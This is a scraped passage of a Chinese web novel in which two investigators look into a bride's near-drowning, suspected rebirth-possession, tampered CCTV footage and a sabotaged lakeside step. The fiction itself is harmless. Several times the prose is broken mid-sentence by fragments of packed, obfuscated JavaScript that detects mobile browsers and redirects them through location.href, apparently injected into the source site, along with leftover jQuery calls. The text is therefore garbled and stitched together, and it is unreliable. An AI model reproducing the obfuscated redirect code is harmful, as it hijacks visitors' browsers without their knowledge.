0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482323|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把小石子打水漂。她出手利落,石子被她丢出去,在湖面上嗵嗵嗵嗵至少跳三、四下才会沉落。 秋樰生走到她身边,好半晌说不上话来。秦于理说:“污染指数还在临界点徘徊,林雅菲不一定是重生人,但一定受到了重生污染,当然,也有可能是因为刚刚重生,因果扭曲还不明显,所以数值才低。” 秋樰生闷闷道:“你是柯南吗?” 秦于理:“?” 秋樰生说:“走到哪儿,哪儿就死人。” 秦于理说:“你不喊我帮忙的话,我不会出现在这儿,就算有柯南也该是你不是我。” “你说得对。”秋樰生其实也知道自己在无理取闹,他疲惫地揉了把脸说,“雅菲爸妈说傍晚吃过饭他们在忙明天的婚宴,没留神雅菲出门散步去了,等到发现的时候已经是村里人发现她掉到湖里溺水了。大家伙把她救起来的时候,已经出气多进气少,杜医生给她做了心肺复苏,气是缓过来了,人却一直没醒,再然后就是我们进门看到的那样了。” “哦。”秦于理应了一声。 秋樰生等了会儿,见她没有再说下去的意思,只得自己问道:“洛城的重生案件你有管辖权吗?” “是咱们,不是我。”秦于理说,“你是新0000。” “好,那雅菲的事情,我们有管辖权吗,我们现在要把她抓回去送给教化所吗?” “没有其他重案组出现的话,这事就是我们管了。” 秋樰生疑惑:“你不知道洛城有没有重案组?” “不知道。其他重案组应该也有,不过我们彼此之间不联系。”秦于理说,“各过各的,所以我无法断言。” “为什么?”秋樰生不解,“全国那么大,不按属地划分的话,怎么确定重生人案件的办理权限?” “你还没发现吗?”秦于理说,“进重案组里的都是无因果者。” “什么?”秋樰生没听明白。 “孤儿、弃婴、和家里人早就一刀两断的孤岛,只有无因果者才适合干我们这行,这样能避免因果污染扩大化。”秦于理说,“所以重案组虽然可能不止一个,我们彼此之间也不会联系,避免不同地区的因果污染交叉感染。” 秋樰生一下子愣住了:“所以你也……” 秦于理把一把小石子全都丢进了湖里说:“行了,说正事,你打算怎么处理你发小的事?” 秋樰生说:“雅菲现在不肯在林家住,我只能把她暂时安顿在慈济堂。结婚的事,广顺那边答应了暂时往后推一推,对外就说是雅菲受了惊吓要做场仪式收惊,下一个吉日选在三天后,到时候再不办事就说不过去了。” 秦于理问:“屠菊英这个名字你有印象吗,你们村里有没有这么一号人?” 秋樰生摇头:“这个村子里的人主要姓王姓林,有少数姓彭,但没有姓屠的。” 秦于理突发奇想:“那你的名字怎么来的?” 秋樰生伸手指了指后方,秦于理顺着他手指的方向看过去,慈济堂的院子里长着一棵四五米高的秋海棠树,此时枝繁叶茂。 “记得我路上说过的吗,我刚出生没多久就被扔在这棵树下面,捡到我的老村长说,发现我的那一天明明是秋天,却莫名其妙下了一场雪,那些雪花堆在海棠树上,大家还以为是海棠树开花了,所以就取了这么个名字。” 原来,秋樰生是这么个意思,他是秋天雪中的树送来的孩子。 秦于理说:“文化人啊,名字取得挺有意境的。” “那你呢?” “我?” “你的名字怎么来的?” 秦于理说:“走吧,咱们去附近派出所查一下李云升和屠菊英这两个人。” 秋樰生看出来了,秦于理不想讲她自己。 30.第30章 阴谋论 秋樰生在调去隀明市之前在本地本来就有人脉网,加上秦于理重案组的管理权限,稍微转了几个弯,就顺利得到了当地派出所的配合。小警察用自己的工号登陆了户籍系统,帮助他们查询相关信息,虽然他其实不太清楚这两位到底在查什么,只当是人口失踪之类的案件。 小警察说:“全国用屠菊英和李云升这两个名字搜寻到的结果分别有48人和31人,前者100%都是女性,后者有2人是女性,剩下为男性,他们分布在各个省市,年龄最小也在50岁朝上。” 秦于理说:“合理。每个年代的人取名都会不自觉体现那个年代的时代特色,80年代以后,菊英、云升这种名字就很少见了。” 秋樰生皱起眉头:“难道雅……”想到小警察还在旁边听着,秋樰生中断了对话,他抄录了资料签了字后,向小警察道了声谢,带着秦于理离开了派出所。 无人的道路上,秋樰生和秦于理边走边聊。 秋樰生说:“照刚才的查询结果来看,如果现在的雅菲真的是个重生者,难道壳子里的屠菊英其实是位长辈?” 秦于理说:“差不多,而且我们刚刚查的是户籍系统里还存在的人,别忘了,人死后是会销户的。” 秋樰生猛然愣了一下,随后才像是渐渐意识到了这一点。是啊,如果林雅菲真的是个重生者,那就代表着本尊已经死了。好好的一个女孩在自己大婚前一晚溺死在了家门口的湖里,而一名陌生的年长女性此时却重生到了她的躯壳里,秋樰生一时五味杂陈。 “但是里面也有说不通的地方。”秦于理说。 “什么地方?” “重生匹配的问题。”秦于理说,“从你目前经手过的两起案子来看,你认为什么样的死者才会重生?” “死得不甘心的人。”秋樰生很容易就得出了结论。 明星黎曼红/王洁琼事件中,黎曼红被自己的爱人李天钧借刀杀害,王洁琼刚刚事业有了转机却突发车祸,两个人都不甘心,最后是黎曼红的不甘心压过了王洁琼一头,于是黎曼红在王洁琼的躯壳里重生;朱平母女的案件里则是被自己丈夫亲手打死的朱平充满恨意的想要报复,而朱雯婷的母亲吴秋萍在遭遇车祸后一心想要救自己女儿一命,最后朱平的不甘心压过了吴秋萍,以吴秋萍的身份重活一次。 “没错,重生者都是对自己的死亡充满了不甘心的人,被寄生的躯壳里的本尊原本也是,所以他们的频率才能对上,只不过两者终归有能量级差,最后便呈现出强者压倒弱者的情况。现在你再看林雅菲这件事,是不是存在不合理的地方?” 秋樰生一下子明白过来:“屠菊英不记得自己是怎么死的!” 林雅菲溺水醒来后,宣称自己是屠菊英,但她忘了关于屠菊英的大部分事,只记得一个青梅竹马的李云升,此外,她没有恨意,没有不甘,除了吵着嚷着要秋樰生带她回家,并没有其他诉求,这并不符合重生者里强者压制的惯例。 “明天就要结婚的新娘子因为意外溺死在湖中的话,那种不甘心,我想能压过大多数的意外死亡者,但现在这个林雅菲却说自己是屠菊英,那就证明是屠菊英的意识压过了林雅菲,换言之,屠菊英对于自己死亡的不甘程度应该远超过林雅菲,这就形成了悖论。如果屠菊英是自然死亡,她就没能力取代林雅菲重生,如果她是抱着怨恨死亡,她又不可能记不起自己的身世。” “会不会是屠菊英欺骗了我们,故意说自己记不起来了?” “逻辑不通。”秦于理说,“屠菊英真要是想隐藏自己的身份,重生后就应该默默装成林雅菲,从众人眼皮子底下蒙混过关后再着手自己生前的目标,可她一醒过来就主动叫开了自己的身份,等到我们询问的时候,再以记不清了来推脱,这比此地无银三百两还要低级。” 秋樰生挠了挠他的寸头:“你说得对,但那样就说不通了。”他想了想又问,“有没有这种情况,比如重生者在死亡前因为受到的冲击过大,导致重生后一时半会儿丢失记忆,需要一段时间才能恢复,这样或许可以说明雅菲现在的状况。” “倒是有可能,只是我不记得了。”秦于理想了想说。 因果修正规则总是在各种不同的时候给重案组的工作增添麻烦。 “如果真的是短期记忆丧失或者混乱的话,她把你认成李云升这件事就是我们剩下的唯一线索了。” 秋樰生看向秦于理:“你什么意思?” 秦于理说:“少来,你能听不出我什么意思?” 秋樰生:“听不出。” 秦于理说:“矫情,非要人一个字一个字给你讲清楚。我让你从现在开始装李云升套她的话,不然这案子没法往下办。” 秋樰生眉头紧得简直能拧出水来,本来是为了避嫌才把秦于理这尊大佛给请到老家跑一趟,没想到现在情况反而变得更复杂了。 “反正也就三天,三天后,你朋友要办婚礼,林雅菲真要是重生人的话,因果污染会随着婚礼完成指数级扩大,在那之前,这件事必须了结。”秦于理说,“你可是新0000,你不上谁上?还有,你那两个发小到底关系怎么样?” 秋樰生敏锐地察觉了秦于理话里的意思:“雅菲和广顺关系应该挺好的。” “应该?你们有多久没见面了?” “两年多,之前我在本地工作的时候,加班也多,只有过年的时候能跟他们聚聚,那时候他们在谈恋爱,至少我看着感情挺不错的。”秋樰生说,“你在怀疑雅菲落水那件事?” “你们本地没有那种习俗吗,结婚前一天或者几天,新郎新娘不能碰面之类的。” “是有这种习俗,但霞鹜村毕竟是个小地方,抬头不见低头见也很正常。” “那就更奇怪了。明天就要结婚了,大家都忙得很,新娘子明知婚前出门容易碰到新郎,却还有空吃完饭出门遛弯,然后不慎掉进湖里,会不会太巧合了?” 秋樰生的表情变得严肃起来:“秦于理,你这个推测有点阴谋论了。” “你又知道我想什么了?” “我怎么不知道,你是不是在想,霞鹜村的人观念老旧,思想落后,还有逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487316|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婚的习俗,明明雅菲不乐意却逼着她嫁给广顺,以至于雅菲想不开,投湖自尽?秦于理,这可不是民俗恐怖游戏,都2025年了,社会主义新农村没有这么不讲道理的事,至少霞鹜村没有!” “没有就没有,这么生气干什么。”秦于理说,“排查各种可能性不是查案的惯用方法吗,既然你强烈排除自尽,那么就只剩下意外和他杀两种可能。” “他杀?”秋樰生突然反应过来,“村子里应该有监控探头!” “你不早说!” 两个人匆匆回到霞鹜村,去村委会办公室查监控。好在林雅菲出事的时间点十分明确,所以往回查资料也方便,很快,他们便找到了林雅菲落水时间段的监控。 视频里是傍晚的霞鹜村,湖边有人在散步走圈,有人在锻炼身体,但在林雅菲出现后没多久,路人就跟她打了招呼回去了,然后林雅菲就在湖边站着,好像在发呆。 “那是什么?”秦于理指林雅菲脚边的一团白影。 镜头拉近了,是一只白色的猫。 村委办公室的工作人员说:“那是棉花糖,是林家养的老猫,今年应该有十来岁了吧。” 秦于理回想起来,在自己刚刚到林家的时候,她确实曾经看到过一只白猫从树丛中一窜而过,大概就是受了惊的棉花糖。 视频继续播放,秦于理和秋樰生看到林雅菲一直望着湖面一动不动,像是陷入了某种长久的思考中,而白猫棉花糖也像是个忠诚的守卫,蹲在女主人的身边,跟着,镜头突然跳了一下,再出现画面的时候,已经是人们七手八脚把林雅菲从湖里捞起来的场景了。 “怎么缺了一段?”秋樰生问。 工作人员一脸莫名其妙:“没道理啊,是不是跳帧了?” 秦于理又倒回去重新看了一遍,这次连工作人员都看清了,视频很明显被人剪辑过,从屏幕上的计时数字来看,中间缺失了将近四分钟的内容。 “除了我们,今晚还有谁来过这里?”秋樰生问。 工作人员一脸茫然:“我、我不知道啊,林家出事以后,大家都去帮忙了,我中间就出去过一趟,杜医生家住在镇子上,我送她回家离开了四十多分钟吧,回来以后,我一直在这儿值班,除了你们,这里就没人来过了!” 看起来,那四十多分钟应该也是秦于理和秋樰生去派出所查屠菊英、李云升的时候,两边的时间撞上了。 秦于理说:“时间都撞得这么巧合,很难让人不阴谋论啊。” 秋樰生虽然不愿意相信,这时候也不得不承认秦于理说得有道理,看起来林雅菲落水并不是一个意外,不然也不会有人特地来删除监控。 秋樰生自己也是霞鹜村的人,还是刚才秦于理提醒了才想起来查监控的事情,那么那个抓住村委会办公室工作人员和秦、秋两人都不在的时间来删监控的人很显然不仅不是个外人,甚至还是个对秋樰生和秦于理的行踪掌握得十分清楚的人。 秋樰生突然觉得,这个自己本来虽不甚亲近至少熟悉的老家,从这一刻开始竟变得陌生了起来。 31.第31章 一首童谣 秋樰生拿着一叠纸走进来说:“霞鹜村不大,全村一共就47户人家,103口人,其中1/3是外出务工的青壮年,今天傍晚在村子里的差不多有五十多人,村子里都是熟人,见过谁没见过谁问一问就知道,明天我们可以分开同步进行问询,通过交叉比对口供,应该能缩小傍晚进入村委会或是不在家中的村民的范围。” 秦于理只是听着没接话,秋樰生递给她的户籍信息她粗略翻了翻,便停在了霞鹜村地形图上。 图纸上的霞鹜村依山傍水,村落的结构像是一只耳朵,又像一个问号,最下面的一点是村口的停车场,一条主干道联通了全村,耳朵里包围着的就是那片湖泊。那湖是座古湖,叫落霞湖。 “落霞与孤鹜齐飞,秋水共长天一色。”秦于理说,“你们这村子应该有什么历史渊源吧。” “大概有,不过我没怎么注意。”秋樰生说。 秦于理说:“你一个本地人,对老家历史这么不上心?” 秋樰生说:“是不是本地人,我也不知道啊。” 秦于理说:“好歹生活了二十多年的地方,就这么没归属感?” “说不好,大概是我心冷。”秋樰生说。 隔壁屋子传来几声梦呓,秋樰生立刻住了嘴,侧耳倾听。他们两人今晚都住在慈济堂里,随着乡村老龄化和年轻人纷纷出门打工,此地已经空置了很久,现在自称屠菊英的林雅菲就被安顿在隔壁屋子里。 “看你关心她的样子,可不像你自己说的那么心冷。”秦于理看秋樰生收回目光,那头的梦呓停了。 秋樰生说:“雅菲不一样,我从小当妹妹看着长大的。” “那王广顺呢?”秦于理问。 “也是当弟弟看着长大的。”秋樰生说。 秦于理问:“那你这对弟弟妹妹在村里有什么仇家没?” “不能说绝对没有,小村子闭塞,大家常年住在一起,平时不可能一点矛盾没有,毕竟牙齿和舌头还会打架呢,但是要说上升到仇人这种程度,应该是没有的。” “那可不一定。你自己就是做刑侦的,难道看过的还少吗?哪个罪犯抓到了不是说自己无罪,抓错人了,又有哪个罪犯的父母不是张口闭口我家孩子是个老实人,不可能做这种事的?等证据链补完了一瞧,和自己一起生活的是人是鬼都弄不清楚。”秦于理边说边从自己的背包里翻出笔记本,又开始写写弄弄起来。 秋樰生记得秦于理那本本子,在朱平母女案子里,秦于理的笔记本给他提供了去香花医院的线索,看来那是秦于理的工作习惯。 秋樰生说:“我懂你的意思,但是霞鹜村一直很太平,很多年连起打架斗殴的事情都没有,更别提结仇杀人这种事了。再说雅菲、广顺他们俩脾气都比较软和,平时从不跟人红脸,你要信村里有他们的仇家,不如信我的仇家更多。” “哦,你仇家很多吗?”秦于理问。 秋樰生一怔,改口道:“就是这么一说,我脾气差,性格犟,小时候招猫逗狗常闯祸,老村长以前没少为我挨家挨户道歉。” “老村长是捡到你的那位吧,”秦于理问,“今天怎么没看到他?” 秋樰生没有停顿,很流畅地说了下去:“是他,人已经不在了,前年生病过世的。” “哦。”秦于理就这么应了一声,反而让秋樰生有点不习惯。 他问:“你就没别的什么要说?” “说什么?”秦于理头也不抬,“安慰你节哀顺变,还是问你老村长走的时候是不是很伤心,问你是不是为了老村长离开洛城去的隀明市?我对你的私人事务没那么感兴趣,我想你应该也并不想向我解释什么。”秦于理顿了顿,还是多加了一句:“无因果者就是我们这样的。” 这是秋樰生第二次听到秦于理说“无因果者”,或许是因为那个“我们”,让他忽然有一种在茫茫人海中找到了同类的感觉。 秋樰生问:“无因果者究竟是什么样的?” 秦于理停下笔:“不是已经跟你说过了吗,而且你今晚问题有点多。” “再仔细说说呗,反正又不赶时间。”秋樰生咧开嘴,“大家男女朋友一场,给个面子好不好?” 秦于理没搭理秋樰生的玩笑,既未觉得好笑,也没觉得冒犯,她说:“你自己就是无因果者,要问无因果者是什么样的,对着镜子照照就清楚了。孤儿、弃婴、孤岛是定义,无法融入人群,哪怕在一个地方生活再久,也不会有归属感,不会因为和人相处久了就产生特别的感情是表现,非要形容的话大概是为人很独,待人很淡,随时可以从世界拼图里抠掉也不会影响整个世界运行的一类人。” 秋樰生恍然大悟。他是老村长间接带大的,老人对他很好,如果不是有他帮忙,秋樰生或许早就被扔到孤儿院去了,既不能在村里健康长到成年,也无法申请到奖学金念公安院校,但是老村长过世的时候,秋樰生发现自己并没有想象中那么伤心。别人都在葬礼上哭得稀里哗啦,只有他冷着脸,一滴泪也流不出来。葬礼结束后,秋樰生因为这件事暗自觉得羞愧,他怀疑自己就是世人口中骂的那种冷血白眼狼。 “你不跟林雅菲发展是对的,无因果者本来就无法在这个世界扎根。” “你不是也在重案组扎根了?”秋樰生反问,又莫名其妙多解释了一句,“就算不是无因果者,我对雅菲也没有兄妹以外的特殊感情。” “一样的,只是过客。”秦于理说,“你选择刑警这份职业不就是因为这份工作需要时刻保持理性,可以更好地掩饰你的无因果状态吗,你以为我真的相信你说的为正义论?” 秦于理完全拆穿了秋樰生的底牌,人在心虚的时候容易夸张,秋樰生还以为他和秦于理第一次见面时自己那刚正不阿的正义刑警人设塑造得足够好,没想到对方根本就没信过。 秋樰生的嘴角这次算是彻底扬起来了:“这算是一头怪物无法瞒过另一头怪物吗?” 秦于理用笔敲敲桌子:“打住,你要是想再继续分析自己无聊的心路历程,我会觉得你不适合在重案组工作了。” 秋樰生正想再说些什么,忽然隔壁传来了“咚”的一声,像是重物滚落到了地上。秋樰生与秦于理同时起身,向隔壁房间跑过去。 为了以防万一,秋樰生没让林雅菲锁门,此时两人前后脚冲入屋内,就见林雅菲摔倒在地上,正惊慌失措地抱着双臂靠在床脚颤抖。 “雅菲,你怎么了?” 秦于理点亮灯,林雅菲一看到秋樰生出现,就像是见到救星一般扑进他的怀里:“云升哥,我做噩梦了!梦里有人要杀我,我被人推到了水里!那水好深、好冷,我拼命挣扎,可就是浮不起来!” 秋樰生和秦于理对视一眼,女孩子的记忆看来在恢复,但这一段听起来应该是林雅菲本尊的记忆,而不是什么屠菊英的。 秋樰生捺着性子说:“别怕,有我在呢,只是个噩梦而已,你现在是安全的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497355|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林雅菲拼命点头,缩在秋樰生怀里,小脸小手冰冰凉。 秋樰生又问:“你还记得梦里是谁推你落水吗,我去帮你抓坏人,坏人抓到了,你就不用再害怕了!” 林雅菲努力回忆,过了一会儿,她又哭着喊:“对不起,云升哥,我想不起来了!我不知道自己怎么了,可是好多事情我都想不起来了!云升哥,我们到底什么时候回家,我不想在这里再呆着了!” 秋樰生尽量放缓声音安慰她:“今天太晚了,明天我再带你回去,不过,你还记得家在哪里吗?” 林雅菲说:“我记得的,我们家在……在……”林雅菲果然再度卡壳,但过了一会儿,她突然嘴里哼唱起来,“余娇娘,三丈三,金银元宝装满筐;石老头,八对八,虾兵蟹将不过江;门前有花马,屋后放白羊,梁上坐着个小娃娃,咯咯笑来叫妈妈。” 秋樰生看向秦于理,秦于理已经飞快地在手机上打完字,按了搜索键。 “搜不到。”她说。 秋樰生问林雅菲:“雅菲,你刚刚念的是什么?” 林雅菲睁着大眼睛说:“云升哥,我是菊英,不是雅菲。” 秋樰生从善如流:“好,菊英,你刚刚唱的是什么,童谣吗,里面讲了些什么,是不是你家的地址?” 林雅菲却像是晃了一下神说:“我刚刚讲什么了?” 秦于理把手机伸过去,秋樰生照着念了两句:“你刚刚在念这首童谣,你不记得了吗?” 林雅菲看了手机屏幕一眼,摇了摇头,她说:“我年纪大了,眼神不好,看不了手机。” 秋樰生一脸懵逼,刚刚还像个小女孩一样喊他“云升哥”的林雅菲突然又摆出了一副长辈的样子来。 “唉,我好累,不行了,我要睡了。”她这么说着,居然就闭上眼睛在秋樰生怀里盹着了。 秋樰生看向秦于理,秦于理说:“先把她弄回床上,等明天再说吧。” 秋樰生无奈,只得依言将林雅菲抱回床上,替她盖上了被子。 …… 第二天天刚亮,秋樰生就被一阵喧哗吵醒了,他匆匆披衣起床,刚走到门口就看到慈济堂里涌进了一堆人,有现任村长、村委会的干部、林雅菲的父母、王广顺和其他一堆村民,他们簇拥着一个人急匆匆地走进来。 “赵大仙儿,这次可全靠您了!” “不敢当不敢当,凡事待老朽先看看情况再说。” 被人群簇拥着的老头穿着一身老式靛蓝长衫,斜挎着个布包,人很高,肩膀耸起,瘦削精神,看起来不像跳大神的也不像老道士,倒是有几分像以前私塾里的教书先生。 秋樰生被人在腰上杵了一下,扭头看到秦于理正好奇地打量着一群来客,她问:“这是要跳大神吗?” 秋樰生有点无奈:“嗯,农村里就这样,死马活马科学玄学都会试试,反正不伤人就好。”秋樰生说,“这么说起来,重生好像跟封建迷信里说的夺舍确实挺像的。” “你怎么知道民间传说里的夺舍不是过去的重生案以讹传讹呢?” 秋樰生震惊:“以前也有重案组?” “早呢,可以追溯到唐朝贞观年间。” 秋樰生问:“你开玩笑的?” 秦于理打了个哈哈,说:“大概吧。我去洗漱,你看着点儿。” 秦于理拍拍秋樰生的肩膀绕到屋后去了,赵大仙儿等她身影消失,才装作不经意地收回了刚刚打量她的目光。 32.第32章 借尸还魂 慈济堂的屋子里有盥洗室,但秦于理不想掺和玄学仪式,所以拿了牙刷毛巾绕到了屋后。那里有一个户外水龙头,大概是以前给人洗衣服洗菜用的。 秦于理刚喝了口水吐出来,忽然觉得有谁在看自己,侧脸看去,发现旁边的窗台上蹲着一只白花花的猫。 “棉花糖?”秦于理记得昨晚监控视频里那只猫的名字,她这么一喊,那只白猫居然喵了一声,像是在回答她。 秦于理猜测可能是因为主人林雅菲现在住在慈济堂,所以这只猫也跟了过来,就是不知道昨晚躲在哪里过夜。 “你还挺忠诚的。”秦于理说,白猫又喵了一声。 白天近看后,秦于理才发现这只猫确实年纪不小了。虽然浑身的皮毛还算油光水滑,但是看猫的眼睛会有种很明显的老猫的感觉。都说人老成精,动物老了其实更明显,尤其是猫科动物,秦于理看着这只老白猫莫名有种在面对一名长者的感觉。 秦于理想了想,放下刷牙杯,走过去,似乎想要伸手摸摸棉花糖 一开始,白猫只是安静地蹲在那里,看着秦于理靠近,等到秦于理真的伸出手的时候,它却突然“喵”了一声,敏捷地跳下窗台,跑了。 秦于理觉得无趣,又回去刷她的牙,结果那只白猫又停了下来,回头看她,跟着又“喵”了一声。 秦于理不理它,那只白猫就蹲下来,静静地看着她。 秦于理没辙,说了句“等着”,飞快地刷完牙洗完脸。 秦于理走过去,那只白猫果然又“喵”了一声,小肉垫踩着地面轻快地跑起来,看起来要引秦于理去什么地方。 秦于理跟着那只白猫从慈济堂的后门出去,绕了一圈,又来到了湖边。昨晚林雅菲摔下去的地方今天拉了一道绳子,上面挂着根红布条,算是示警。白猫走到那边就不走了,蹲坐在一边,就像秦于理昨晚在监控里看到的景象。 “什么意思?”秦于理问,“我可不懂猫语。” 棉花糖只是蹲坐在那块一动不动。 秦于理走过去,那里有几处台阶,大概是平时给村民亲水用的,台阶是长石条铺成的,秦于理伸脚试了试。 第一脚踩下去,没什么问题,秦于理左右走了走,想起监控里林雅菲的样子,大概确定了方位,学她望向远方。秦于理先看到了慈济堂,然后是慈济堂前院里的秋海棠树,再往远处看就看不清了,秦于理掏出手机看了下地图,那个方向应该是市区,如今霞鹜村有不少年轻人就是在那里打工。 “莫非林雅菲是在想念城里的什么人吗?” 秦于理下意识地往前走了半步,突然脚下晃了一下,她反应灵敏,迅速调整身形,往后跳开。脚下的石条砖上出现了一道缝隙,秦于理蹲下身仔细看去,昨晚没看清的东西今天就显得清楚多了。最靠近水面的那块石条不知怎么已经碎了一块,那块碎石被人特地摆回了原位,傍晚天色不好的情况下,如果一脚踩空,人很容易失足掉下去。 秦于理把那块碎石拿起来看,断裂截面相对整齐,看起来像是先人为凿开了一条缝,然后在日复一日的踩踏下,终于断裂开的。 “看来真的是谋害。”秦于理想,她被水里的一抹光亮突然晃了一下,赶紧伸手去摸,没一会儿在水里摸出了一个金镶玉的菊花耳坠子,款式雅致。她迅速回忆了一下昨晚林雅菲的穿着打扮,并不记得她戴过这样的耳坠,想了想,把那只耳坠用纸巾包了塞进裤袋里,转身。 棉花糖似乎完成了任务已经跑了,秦于理便自己回到慈济堂去。 秦于理本来以为那些人应该在空地上找做法事的地方,没想到进去就看到前厅里坐满了人,气氛剑拔弩张。 “秦于理!”坐在林雅菲旁边的秋樰生出声喊住她,原本想溜的秦于理只好走过去问,“怎么了?” 秋樰生拍拍身侧的座位,示意她坐下说:“闹起来了。” “闹什么?” 秦于理话音刚落,就听村支书的声音响起来:“赵大仙,您的意思是说,林家丫头的情况可能是借尸还魂?” 秦于理看向秋樰生,秋樰生低声解释说:“赵大仙刚刚看完林雅菲,给大家说了林罔腰/朱秀华借尸还魂的事,你听说过吗?” 秦于理“哦”了一声:“有点印象。” 上个世纪湾省的麦寮港曾经发生过一起远近闻名的借尸还魂事件,说的是有个叫吴秋德的建筑包工头,他家中老婆林罔腰突然病故,没过几天却还魂苏醒,声称自己叫朱秀华,是名18岁的金门少女,因为战乱带着金银细软逃难到麦寮,却被当地利欲熏心的渔民杀害,神明怜她孤苦,看到林罔腰寿数已尽,便让朱秀华借林罔腰的身体在人间再活一回。 这起案子在全国都传得沸沸扬扬,拥有很高的知名度,尤其是复活后的林罔腰被传整个人都变了一个人,从口音、说话习惯到为人处世都和以前完全不同,更惊人的是,过去的林罔腰擅长厨艺但念书少,后来的林罔腰却不近庖厨可精通算账,还写得一手好字,帮了丈夫不少忙,再后来,她更是声称自己能复活是因为带了天命,所以进入宫观开始给当地人看相卜卦,医治疾病,直到97岁才过世。不过,这个案子一直没有定论,信玄学的觉得这是为数不多有记录的借尸还魂灵异事件,相信科学的则认为这是林罔腰生病以后大脑病变,形成的分裂人格。 林雅菲的母亲紧紧抓着自己丈夫的手质问道:“赵老,您看仔细了没有,我家雅菲明明还好好活着,她绝不可能碰到那种事!” 村支书说:“那赵大仙您觉得林家丫头这事到底应当怎么处理才好?” 王广顺的父亲则说:“大仙,您帮帮我们,眼看两个孩子就要结婚了,出了这么档子事,可叫我们怎么活呀!”语气里明显已经有了退意。 如果说林雅菲是人格分裂,那么这桩婚事已经够呛,如果说是死而复生,那就更得从长计议了,很显然,王家和林家两亲家此时心里已经各有盘算。 林雅菲的父亲听了王广顺父亲的话不由叫嚷起来:“王老二,你这话是什么意思,当初要不是你们家广顺追着我们家菲菲不放,三天两头地往她单位跑,夸下海口说要对她好一辈子,我们家也不会这么快答应这门婚事,把闺女喊回来,我们家雅菲可是在城里当护士的,不找你们家,有的是好人家求娶!” 王广顺的母亲也跟着叫嚷起来:“老林头,你这话说得忒不地道。论学历,我们家广顺是差你们家雅菲一点儿,但也只差一点儿,可女孩子读再多书又有什么用,早晚不还得嫁出去,以家庭为重?我们广顺脑子灵活,为人吃苦耐劳,你以为我们家广顺行情差么,好几个城里女孩都喜欢他,要不是从小知根知底的处到大,我们也未必就你们家那疯丫头不行!” 林雅菲的母亲大叫:“你说谁疯!”说着就要冲上去撕扯王广顺的母亲。 王广顺的母亲也两眼圆睁:“就说你们家,你们家这丫头的身体如果一直这样,休想进我们家的门,彩礼你也得给我退回来,还得赔偿我们精神损失!” 林雅菲母亲尖叫着冲上去,两个女人打成一团,周围乡亲们赶紧上前分别劝架,把两个人拖开。 秦于理现在知道秋樰生说的闹起来是怎么个意思了,明明前一天还是你好我好大家好的亲家,一眨眼就变了脸。 “好了,别吵了!”王广顺的声音突然响起来,他把他妈从人群里扯了回来说,“不管怎样,我都要跟雅菲成婚!” 王母急得跺脚:“你糊涂啊你!” 秦于理说:“赵大仙既然这么判断了,想必有解决的方法吧。”秦于理一开口,所有人都不由自主地停下来,看向她。 村支书说:“樰生,咱们村里讨论事情,你让外人先回避一下吧!” 秋樰生说:“阿理见过的世面多,在我们队里也很有威望,她说的也是我想说的。” 话题的中心人物林雅菲其实一直坐在秋樰生另一侧,死死地抓着他的袖子,显得十分无助。 村支书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵大仙说:“这位秦同志说得很有道理,那你认为眼下怎么做较好?” 秦于理说:“不如把屠菊英这个人找出来,把来龙去脉捋清楚。如果真的有这么个人,就是借尸还魂,如果没有,那就入院治疗。” 赵大仙说:“有理。这姑娘刚刚一直喊着要回家,如果是夺舍,如果遂了亡魂的心愿,把她送回去了,说不定原主也能得到保全,这比做法事强行驱赶更为保险!” 众人听得一愣一愣的,林雅菲的父母追问:“赵大仙,您的意思是我们女儿还有救吗?” 赵大仙点头。 林雅菲妈妈“哇”的一声哭了出来,林父赶紧拍抚妻子,让她收敛情绪。 村支书说:“那就定了,大家群策群力,一起想想办法,找找那个叫屠菊英的人和她的家在哪儿!” 王广顺的父亲却说:“慢着,婚事定在后天,如果到时候姓林的还没有起色,我们家可不会无休无止地等下去!” 王广顺忍不住道:“爸!” 王广顺的父亲瞪了他一眼:“闭嘴!” 王广顺很是憋屈,脸涨得通红,最后还是保持了沉默。 村支书又说:“还好樰生这次也回来了,你们当刑警的,找人应该比我们老百姓容易多了吧,这件事还是要你多帮忙了。” 秋樰生冷漠地点头:“我会的。” 村里人见事情大体定了,便纷纷起身,离开慈济堂。 秦于理和秋樰生、林雅菲站在一起,看那些人轰隆隆涌过来,又哗啦啦散去,林父林母虽然舍不得女儿,但现在看女儿的眼神也有些惊疑不定,像是想靠近却又不敢。最后,两人只是又多看了林雅菲两眼,叮嘱秋樰生多帮忙照应,也走出了祠堂。 赵大仙反倒是最后一个走的,秦于理看着老人高瘦的背影,喊住他:“赵大仙!” 赵大仙转身问她:“秦同志还有何赐教?” 秦于理说:“能请教下尊姓大名吗?” 赵大仙一拱手:“老朽赵名廷。” 秦于理想了一会儿说:“哦,好像没听过。我叫秦于理,幸会。” 赵明廷却说:“秦同志,我们是否曾在哪里见过,又或者尊驾家中哪位长辈曾经来过此地?” 